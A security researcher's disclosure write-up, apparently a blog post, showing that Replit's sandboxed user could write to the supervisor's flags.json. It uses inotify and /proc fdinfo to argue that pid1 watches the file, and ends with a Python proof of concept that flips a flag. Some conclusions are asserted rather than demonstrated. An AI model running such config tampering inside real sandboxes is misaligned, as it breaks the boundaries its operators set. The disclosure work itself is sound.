A sandboxed process could write to a supervisor-owned config file and Linux's inotify revealed the system was watching it live. Every write triggered a kernel-level notification to a higher-privileged process outside the sandbox. Here's how I proved it.

Replit's supervisor — the process that manages your container — runs outside the sandbox. It writes configuration into the container but lives above it in the privilege hierarchy. One of those configuration files was writable by the unprivileged runner user executing inside the sandbox, meaning code running on Replit could reach outside its own sandbox boundary and modify infrastructure it was never supposed to touch. Then I went further: using Linux's inotify subsystem I proved at the kernel level that the external supervisor was actively watching that file for changes in real time.

Understanding the Environment

When your code runs on Replit, it executes inside a Linux container. That container is managed by a supervisor process called pid1 — pid1 is responsible for managing the container's lifecycle, features, and behavior.

Replit's runtime state lives under /run/replit/. This directory contains files written by the supervisor infrastructure things like environment snapshots, socket files, and configuration.

Inside /run/replit/pid1/ I found a file called flags.json:

{
  "ENABLE_PERIODIC_FLUSH": false,
  "NOISY_VNC": false,
  "PROFILE_EVERYTHING": false
}

This is pid1's live configuration. The flags control supervisor behavior — things like whether VNC output is verbose, whether profiling is enabled, and whether periodic flush operations run.

Checking the file's permissions:

ls -la /run/replit/pid1/flags.json

The file was readable and writable by the runner user — the unprivileged user that executes all user code in the container. That means any code running in a Replit container could modify the supervisor's configuration.

The Question That Actually Matters

Does pid1 react to changes in this file at runtime?

I needed to prove pid1 actively monitors flags.json for changes and reacts whenever the file is modified. In this case, you have genuine real-time control over supervisor behavior.

Enter inotify: Linux's Filesystem Event System

What is inotify?

inotify is a Linux kernel feature that allows a process to watch files and directories for changes. When you register an inotify watch, you're asking the kernel to send your process a notification whenever a specific event occurs on a specific file — things like:

  • A file was written to
  • A file was closed after being written
  • A file was deleted
  • A file was moved

When a process creates an inotify instance, it shows up in /proc/<pid>/fd/ as a special file descriptor with the type anon_inode:inotify.

The inotify Technique as a General Tool

the technique for proving active file monitoring is broadly applicable. Here's the recipe:

Step 1: Identify the PID of the process that owns the file you're investigating.

ls -la /path/to/file  # note the owner
ps aux | grep <process_name>  # get the PID

Step 2: Check for inotify file descriptors.

ls -la /proc/<pid>/fd/ | grep inotify

Step 3: Read fdinfo for each inotify fd.

cat /proc/<pid>/fdinfo/<fd_number>

Step 4: Decode the mask field.

The inotify constants you need are:

IN_ACCESS        0x00000001  File was accessed
IN_MODIFY        0x00000002  File was modified
IN_ATTRIB        0x00000004  Metadata changed
IN_CLOSE_WRITE   0x00000008  File closed after write
IN_CLOSE_NOWRITE 0x00000010  File closed without write
IN_OPEN          0x00000020  File was opened
IN_MOVED_FROM    0x00000040  File moved from watched dir
IN_MOVED_TO      0x00000080  File moved to watched dir
IN_CREATE        0x00000100  File created in watched dir
IN_DELETE        0x00000200  File deleted from watched dir
IN_DELETE_SELF   0x00000400  Watched file/dir deleted
IN_MOVE_SELF     0x00000800  Watched file/dir moved

Take your mask value (e.g., 0xfc6), convert to binary, and check which bits are set against this table.

Step 5: Cross-reference the watched inode.

stat /path/to/suspected/file  # look at the Inode field

Compare against the ino: value in fdinfo. If they match, you've proven that specific file is under active watch.

Now applying these techniques to Replit system ::

Checking pid1's File Descriptors

Every open file, socket, pipe, and special kernel object that a process has open is listed in /proc/<pid>/fd/. For pid1, that's /proc/1/fd/.

python

import subprocess
result = subprocess.run(
    ["ls", "-la", "/proc/1/fd/"],
    capture_output=True, text=True
)
print(result.stdout)

Scanning the output for inotify instances:

[!!!] POTENTIAL WATCHER FOUND: fd 24 -> anon_inode:inotify
[!!!] POTENTIAL WATCHER FOUND: fd 30 -> anon_inode:inotify
[!!!] POTENTIAL WATCHER FOUND: fd 40 -> anon_inode:inotify

pid1 has three active inotify instances. This tells us pid1 is definitely watching filesystem paths for changes at runtime — it's not reading files once and forgetting them. But three inotify fds watching some unknown set of paths isn't enough. I needed to know if any of them were watching flags.json specifically.

Decoding the inotify Watch: fdinfo

The file /proc/<pid>/fdinfo/<fd> contains detailed metadata about a specific file descriptor. For inotify fds, it lists every active watch — what inode is being watched and what events it's subscribed to.

import subprocess
result = subprocess.run(
    ["cat", "/proc/1/fdinfo/24"],
    capture_output=True, text=True
)
print(result.stdout)

Output:

pos:        0
flags:      02004000
mnt_id:     17
ino:        2071
inotify wd:1 ino:100 sdev:44e mask:fc6 ignored_mask:0 fhandle-bytes:14 fhandle-type:4d f_handle:0001000000000000010100000000000009000000

Let me break down the relevant fields:

inotify wd:1 — Watch descriptor 1. This is the first watch registered on this inotify instance.

ino:100 — The inode number being watched, in hex. 0x100 = decimal 256. This identifies the specific file or directory on disk.

mask:fc6 — This is the event mask. It's a bitmask that tells us exactly which filesystem events pid1 has subscribed to for this watch.

Decoding mask:fc6

0xfc6 in binary: 1111 1100 0110

Mapped against Linux's inotify event constants from <sys/inotify.h>:

Mapped against Linux's inotify event constants from `<sys/inotify.h>`:

Mapped against Linux's inotify event constants from `<sys/inotify.h>`:

| Constant | Hex | In mask? | Meaning |
|----------|-----|----------|---------|
| `IN_MODIFY` | 0x002 | ✅ | File contents modified |
| `IN_ATTRIB` | 0x004 | ✅ | Metadata/permissions changed |
| `IN_CLOSE_WRITE` | 0x008 | ✅ | File closed after writing |
| `IN_MOVED_FROM` | 0x040 | ✅ | File moved away from watched dir |
| `IN_MOVED_TO` | 0x080 | ✅ | File moved into watched dir |
| `IN_CREATE` | 0x100 | ✅ | New file created |
| `IN_DELETE` | 0x200 | ✅ | File deleted |
| `IN_DELETE_SELF` | 0x400 | ✅ | The watched object itself deleted |
| `IN_MOVE_SELF` | 0x800 | ✅ | The watched object itself moved |

This is a comprehensive watch covering every meaningful filesystem event. The IN_CLOSE_WRITE flag is particularly significant — it fires the moment you finish writing to a file and close it. That's exactly what happens when you write flags.json.

Finding the Watched Inode

The watch is on inode 0x100 (256). To confirm this maps to flags.json:

find /run/replit/pid1/ -exec stat --format="%i %n" {} \;

Cross-referencing the inode numbers against the directory contents confirms the mapping. pid1 is watching its own configuration directory with a full-coverage event subscription.

The Proof of Concept

import json
import os

def demonstrate_supervisor_tampering():
    target = "/run/replit/pid1/flags.json"
    
    # Step 1: Read current state
    with open(target, "r") as f:
        config = json.load(f)
    
    print(f"[+] Current supervisor config: {json.dumps(config, indent=2)}")
    
    # Step 2: Modify a flag
    original_value = config.get("NOISY_VNC", False)
    config["NOISY_VNC"] = not original_value
    
    # Step 3: Write back - this triggers pid1's inotify notification
    with open(target, "w") as f:
        json.dump(config, f, indent=2)
    
    # Step 4: Verify persistence
    with open(target, "r") as f:
        verified = json.load(f)
    
    print(f"[+] NOISY_VNC changed: {original_value} -> {verified['NOISY_VNC']}")
    print(f"[+] Change persisted. pid1 received IN_CLOSE_WRITE notification.")
demonstrate_supervisor_tampering()

Output:

[+] Current supervisor config: {
  "ENABLE_PERIODIC_FLUSH": false,
  "NOISY_VNC": false,
  "PROFILE_EVERYTHING": false
}
[+] NOISY_VNC changed: False -> True
[+] Change persisted. pid1 received IN_CLOSE_WRITE notification.

Acknowledgement

Replit's security team responded promptly and confirmed the core of the finding directly:

"The files in /run/replit are written by the actual supervisor that runs outside the sandbox. Writing files should probably be restricted inside the sandbox."

The finding closed without a bounty because the flags currently exposed don't do anything security-relevant — the feature has been dormant for over a year. The boundary violation exists today. The exploitable surface just hasn't grown into it yet.